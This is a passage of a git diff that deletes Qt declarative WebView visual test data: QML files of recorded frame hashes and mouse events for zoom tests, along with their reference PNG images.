"5b77af55f0a723ba762d283f41e91c98" - } - Frame { - msec: 752 - hash: "b420fc71b22fa608a9c0cdbbbc61c447" - } - Frame { - msec: 768 - hash: "3f7a9cecf2a590e8728137fabfd3f5f3" - } - Frame { - msec: 784 - hash: "c51f12a2f438f137785c70e3af4922fd" - } - Frame { - msec: 800 - hash: "5d97175fc4d986e5b21758d4ac785025" - } - Frame { - msec: 816 - hash: "94f922f3460ad76cd05cb5b321977a94" - } - Frame { - msec: 832 - hash: "5747adbc4f0b22ed359793d72d3e7d1f" - } - Frame { - msec: 848 - hash: "255d1d45d3343972f156dfab7d13ce41" - } - Frame { - msec: 864 - hash: "e5b54132ffb83acad30622e969405bc0" - } - Frame { - msec: 880 - hash: "2c05cf00e3417883e789f58c2728dc97" - } - Frame { - msec: 896 - hash: "9d66290b1aae1de3025d24d3efc4ca1c" - } - Frame { - msec: 912 - hash: "5e9b0783b1b4221145a4febbae56b30f" - } - Frame { - msec: 928 - hash: "21eea497c26600b03d868661232b3ebe" - } - Frame { - msec: 944 - hash: "2383c415170ac6444f1c193ed698f682" - } - Frame { - msec: 960 - image: "zoomTextOnly.0.png" - } - Frame { - msec: 976 - hash: "4ed0f85dec4eb0bb740ac3780b6872c0" - } - Frame { - msec: 992 - hash: "0a18bccca4efeadfced8e5cb1715a1f3" - } - Frame { - msec: 1008 - hash: "823e65df9075eb0e9a3aad6b15ec3342" - } - Frame { - msec: 1024 - hash: "823e65df9075eb0e9a3aad6b15ec3342" - } - Frame { - msec: 1040 - hash: "0a18bccca4efeadfced8e5cb1715a1f3" - } - Frame { - msec: 1056 - hash: "4ed0f85dec4eb0bb740ac3780b6872c0" - } - Frame { - msec: 1072 - hash: "fae77663566351fa3bb506b459496a9d" - } - Frame { - msec: 1088 - hash: "2383c415170ac6444f1c193ed698f682" - } - Frame { - msec: 1104 - hash: "2e05365256bebbdf3229f99b94263b6c" - } - Frame { - msec: 1120 - hash: "5e9b0783b1b4221145a4febbae56b30f" - } - Frame { - msec: 1136 - hash: "9d66290b1aae1de3025d24d3efc4ca1c" - } - Frame { - msec: 1152 - hash: "2c05cf00e3417883e789f58c2728dc97" - } - Frame { - msec: 1168 - hash: "e5b54132ffb83acad30622e969405bc0" - } - Frame { - msec: 1184 - hash: "255d1d45d3343972f156dfab7d13ce41" - } - Frame { - msec: 1200 - hash: "5747adbc4f0b22ed359793d72d3e7d1f" - } - Frame { - msec: 1216 - hash: "94f922f3460ad76cd05cb5b321977a94" - } - Frame { - msec: 1232 - hash: "5d97175fc4d986e5b21758d4ac785025" - } - Frame { - msec: 1248 - hash: "c51f12a2f438f137785c70e3af4922fd" - } - Frame { - msec: 1264 - hash: "3f7a9cecf2a590e8728137fabfd3f5f3" - } - Frame { - msec: 1280 - hash: "b420fc71b22fa608a9c0cdbbbc61c447" - } - Frame { - msec: 1296 - hash: "5b77af55f0a723ba762d283f41e91c98" - } - Frame { - msec: 1312 - hash: "2578335ac6f21c8aec2c87515562c321" - } - Frame { - msec: 1328 - hash: "a9b5438bd48dbafd307d571877416003" - } - Frame { - msec: 1344 - hash: "6a4e2ee45b26037421e2a5f2d6ee517e" - } - Frame { - msec: 1360 - hash: "c272aeea2b9c450fbd732305ccc01b93" - } - Frame { - msec: 1376 - hash: "37c7e50c270e8feb4dd9018580284a85" - } - Frame { - msec: 1392 - hash: "4f37d72c10e51f68a2359086094da249" - } - Frame { - msec: 1408 - hash: "a37024356613bd5d678e0b2f7b8f5959" - } - Frame { - msec: 1424 - hash: "9a4bf1400da038f2088dd4c49403d852" - } - Frame { - msec: 1440 - hash: "4e401b5ebff6e442fa108e94a5dba668" - } - Frame { - msec: 1456 - hash: "5bd3cc309a5fce6183654975543250b2" - } - Frame { - msec: 1472 - hash: "d423a9bc912237d0f20b924849ba0cb1" - } - Frame { - msec: 1488 - hash: "25f463e91febf5b6d8819fd5010bc1c2" - } - Frame { - msec: 1504 - hash: "3c84122b0933ee870f178d39469e51e2" - } - Frame { - msec: 1520 - hash: "7e8dfe86ea0849022355b12578d4cb1a" - } - Frame { - msec: 1536 - hash: "a60edcf8d792f93a839e6ddbafbf993f" - } - Frame { - msec: 1552 - hash: "abf3d90803cfa12d35d2752be7ea02d8" - } - Frame { - msec: 1568 - hash: "48a7dbed293fbbd5ea202190837a411f" - } - Frame { - msec: 1584 - hash: "2f06ee407e5175d4b954e31c39c9522c" - } - Frame { - msec: 1600 - hash: "5784deb0f3270cf7a0d0964cd9d31458" - } - Frame { - msec: 1616 - hash: "809870dfd9b05ce07170edd945348ddf" - } - Frame { - msec: 1632 - hash: "08bc6815601417f3731eaae398d0861d" - } - Frame { - msec: 1648 - hash: "ace9db9112d147569dc0cf1a1b680d6c" - } - Frame { - msec: 1664 - hash: "14d08c2ca430631af8ede1013f4f4da0" - } - Frame { - msec: 1680 - hash: "1475ae722afd169cc0c8e1fde39eb6b7" - } - Frame { - msec: 1696 - hash: "58cfba3aae4bf54a5b445e0e34571d2d" - } - Frame { - msec: 1712 - hash: "a6916da6bfac27aa87d75da2bbb73f31" - } - Frame { - msec: 1728 - hash: "87636076959de7e5a0a8bd8b31354ed4" - } - Frame { - msec: 1744 - hash: "16e2b66f28ed80d80d9b5264d89624d5" - } - Frame { - msec: 1760 - hash: "d3689b53474b4b26630d70ba01c057b4" - } - Frame { - msec: 1776 - hash: "11436091b24c02af94dfa75a5fd1a001" - } - Frame { - msec: 1792 - hash: "524840a3453af4e97ac82b559308cce3" - } - Frame { - msec: 1808 - hash: "6712be93cf1ed2b7b202367418b6d2d7" - } - Frame { - msec: 1824 - hash: "7dc26fd658f626b8fe18545cf93dc4ec" - } - Frame { - msec: 1840 - hash: "8a64b18006ad0bd2c373a2a9395ce52e" - } - Frame { - msec: 1856 - hash: "32d0e9005ebb9dfd410d348e336bcd93" - } - Frame { - msec: 1872 - hash: "98dbd004cf4809dbc90bfa9272378644" - } - Frame { - msec: 1888 - hash: "0b43fdee23346c30c60b822a20131cc3" - } - Frame { - msec: 1904 - hash: "0696257de0441666bd264f8db6383d15" - } - Frame { - msec: 1920 - image: "zoomTextOnly.1.png" - } - Frame { - msec: 1936 - hash: "0ae4ee18cc675749f008b897fe35cc40" - } - Frame { - msec: 1952 - hash: "0ae4ee18cc675749f008b897fe35cc40" - } - Frame { - msec: 1968 - hash: "7df07aea83bc5c3213e7871854661820" - } - Frame { - msec: 1984 - hash: "4fc1ef611b24ec5737310859b12c83d3" - } - Frame { - msec: 2000 - hash: "c2f8551d0442d0736b71c54fc965562b" - } - Frame { - msec: 2016 - hash: "4ec29787e437f9619ce0f0a0f4889d0f" - } - Frame { - msec: 2032 - hash: "c2f8551d0442d0736b71c54fc965562b" - } - Frame { - msec: 2048 - hash: "4fc1ef611b24ec5737310859b12c83d3" - } - Frame { - msec: 2064 - hash: "7df07aea83bc5c3213e7871854661820" - } - Frame { - msec: 2080 - hash: "0ae4ee18cc675749f008b897fe35cc40" - } - Frame { - msec: 2096 - hash: "0ae4ee18cc675749f008b897fe35cc40" - } - Frame { - msec: 2112 - hash: "f5c917c7ca26bb916dd4df84eafc8e94" - } - Frame { - msec: 2128 - hash: "0696257de0441666bd264f8db6383d15" - } - Frame { - msec: 2144 - hash: "0b43fdee23346c30c60b822a20131cc3" - } - Frame { - msec: 2160 - hash: "98dbd004cf4809dbc90bfa9272378644" - } - Frame { - msec: 2176 - hash: "32d0e9005ebb9dfd410d348e336bcd93" - } - Frame { - msec: 2192 - hash: "8a64b18006ad0bd2c373a2a9395ce52e" - } - Frame { - msec: 2208 - hash: "7dc26fd658f626b8fe18545cf93dc4ec" - } - Frame { - msec: 2224 - hash: "6712be93cf1ed2b7b202367418b6d2d7" - } - Frame { - msec: 2240 - hash: "524840a3453af4e97ac82b559308cce3" - } - Frame { - msec: 2256 - hash: "11436091b24c02af94dfa75a5fd1a001" - } - Frame { - msec: 2272 - hash: "d3689b53474b4b26630d70ba01c057b4" - } - Frame { - msec: 2288 - hash: "16e2b66f28ed80d80d9b5264d89624d5" - } - Frame { - msec: 2304 - hash: "87636076959de7e5a0a8bd8b31354ed4" - } - Frame { - msec: 2320 - hash: "a6916da6bfac27aa87d75da2bbb73f31" - } - Frame { - msec: 2336 - hash: "58cfba3aae4bf54a5b445e0e34571d2d" - } - Frame { - msec: 2352 - hash: "1475ae722afd169cc0c8e1fde39eb6b7" - } - Frame { - msec: 2368 - hash: "14d08c2ca430631af8ede1013f4f4da0" - } - Frame { - msec: 2384 - hash: "ace9db9112d147569dc0cf1a1b680d6c" - } - Frame { - msec: 2400 - hash: "08bc6815601417f3731eaae398d0861d" - } - Frame { - msec: 2416 - hash: "809870dfd9b05ce07170edd945348ddf" - } - Frame { - msec: 2432 - hash: "5784deb0f3270cf7a0d0964cd9d31458" - } - Frame { - msec: 2448 - hash: "2f06ee407e5175d4b954e31c39c9522c" - } - Frame { - msec: 2464 - hash: "48a7dbed293fbbd5ea202190837a411f" - } - Frame { - msec: 2480 - hash: "abf3d90803cfa12d35d2752be7ea02d8" - } - Frame { - msec: 2496 - hash: "a60edcf8d792f93a839e6ddbafbf993f" - } - Frame { - msec: 2512 - hash: "7e8dfe86ea0849022355b12578d4cb1a" - } - Frame { - msec: 2528 - hash: "3c84122b0933ee870f178d39469e51e2" - } - Frame { - msec: 2544 - hash: "25f463e91febf5b6d8819fd5010bc1c2" - } - Frame { - msec: 2560 - hash: "d423a9bc912237d0f20b924849ba0cb1" - } - Frame { - msec: 2576 - hash: "5bd3cc309a5fce6183654975543250b2" - } - Frame { - msec: 2592 - hash: "4e401b5ebff6e442fa108e94a5dba668" - } -} diff --git a/tests/auto/declarative/visual/webview/zooming/data/zooming.0.png b/tests/auto/declarative/visual/webview/zooming/data/zooming.0.png deleted file mode 100644 index aaab35d..0000000 Binary files a/tests/auto/declarative/visual/webview/zooming/data/zooming.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/zooming/data/zooming.1.png b/tests/auto/declarative/visual/webview/zooming/data/zooming.1.png deleted file mode 100644 index aaab35d..0000000 Binary files a/tests/auto/declarative/visual/webview/zooming/data/zooming.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/zooming/data/zooming.2.png b/tests/auto/declarative/visual/webview/zooming/data/zooming.2.png deleted file mode 100644 index aaab35d..0000000 Binary files a/tests/auto/declarative/visual/webview/zooming/data/zooming.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/zooming/data/zooming.3.png b/tests/auto/declarative/visual/webview/zooming/data/zooming.3.png deleted file mode 100644 index aaab35d..0000000 Binary files a/tests/auto/declarative/visual/webview/zooming/data/zooming.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/zooming/data/zooming.qml b/tests/auto/declarative/visual/webview/zooming/data/zooming.qml deleted file mode 100644 index ad83800..0000000 --- a/tests/auto/declarative/visual/webview/zooming/data/zooming.qml +++ /dev/null @@ -1,2115 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 32 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 48 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 64 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 80 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 96 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 112 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 128 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 144 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 160 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 176 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 192 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 208 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 224 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 240 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 256 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 272 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 288 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 304 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 320 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 336 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 352 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 197; y: 34 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 185; y: 34 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 368 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 169; y: 38 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 384 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 161; y: 40 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 400 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 155; y: 44 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 147; y: 46 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 416 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 141; y: 48 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 138; y: 48 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 432 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 130; y: 48 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 127; y: 48 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 448 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 125; y: 48 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 123; y: 48 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 464 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 480 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 121; y: 49 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 496 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 512 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 117; y: 53 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 116; y: 53 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 528 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 115; y: 54 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 544 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 113; y: 54 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 560 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 111; y: 53 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 111; y: 52 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 576 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 110; y: 50 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 592 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 109; y: 48 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 608 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 108; y: 46 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 624 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 108; y: 45 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 107; y: 44 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 640 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 106; y: 43 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 656 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 105; y: 42 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 672 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 105; y: 41 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 688 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 704 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 720 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 736 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 105; y: 40 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 752 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 105; y: 39 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 768 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 105; y: 37 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 105; y: 36 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 784 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 105; y: 35 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 105; y: 34 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 800 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 816 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 106; y: 33 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 832 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 848 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 864 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 880 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 896 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 106; y: 33 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 912 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 928 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 944 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 960 - image: "zooming.0.png" - } - Frame { - msec: 976 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 106; y: 33 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 992 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 1008 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 1024 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 1040 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 1056 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 4 - button: 1 - buttons: 1 - x: 106; y: 33 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1072 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 1088 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 1104 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 1120 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 106; y: 33 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1136 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 1152 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 1168 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 1184 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 106; y: 34 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 106; y: 36 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1200 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 105; y: 38 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1216 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 103; y: 44 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1232 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 102; y: 46 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 98; y: 50 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1248 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 94; y: 56 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 90; y: 62 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1264 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 88; y: 70 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 84; y: 78 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1280 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 84; y: 86 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 84; y: 94 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1296 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 84; y: 104 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 86; y: 114 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1312 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 88; y: 124 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 92; y: 136 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1328 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 94; y: 146 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 96; y: 156 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1344 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 96; y: 164 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 96; y: 172 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1360 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 96; y: 180 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 96; y: 188 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1376 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 96; y: 190 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 96; y: 193 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1392 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 95; y: 195 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 95; y: 197 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1408 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 95; y: 198 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 95; y: 200 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1424 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 94; y: 201 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 94; y: 202 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1440 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 94; y: 204 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1456 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 93; y: 205 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1472 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 92; y: 206 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1488 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 92; y: 208 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1504 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 92; y: 210 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1520 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 92; y: 211 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 91; y: 212 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1536 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 1552 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 1568 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 1584 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 1600 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 1616 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 1632 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 91; y: 213 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1648 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 1664 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 1680 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 1696 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 1712 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 91; y: 214 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 91; y: 214 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1728 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 1744 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 1760 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 1776 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 91; y: 214 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1792 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 1808 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 1824 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 1840 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 4 - button: 1 - buttons: 1 - x: 91; y: 214 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1856 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 1872 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 1888 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 1904 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 1920 - image: "zooming.1.png" - } - Frame { - msec: 1936 - hash: "c98df558c41f1837398eead42392b780" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 91; y: 214 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1952 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 1968 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 1984 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2000 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2016 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2032 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2048 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2064 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2080 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2096 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2112 - hash: "c98df558c41f1837398eead42392b780" - } - Frame { - msec: 2128 - hash: 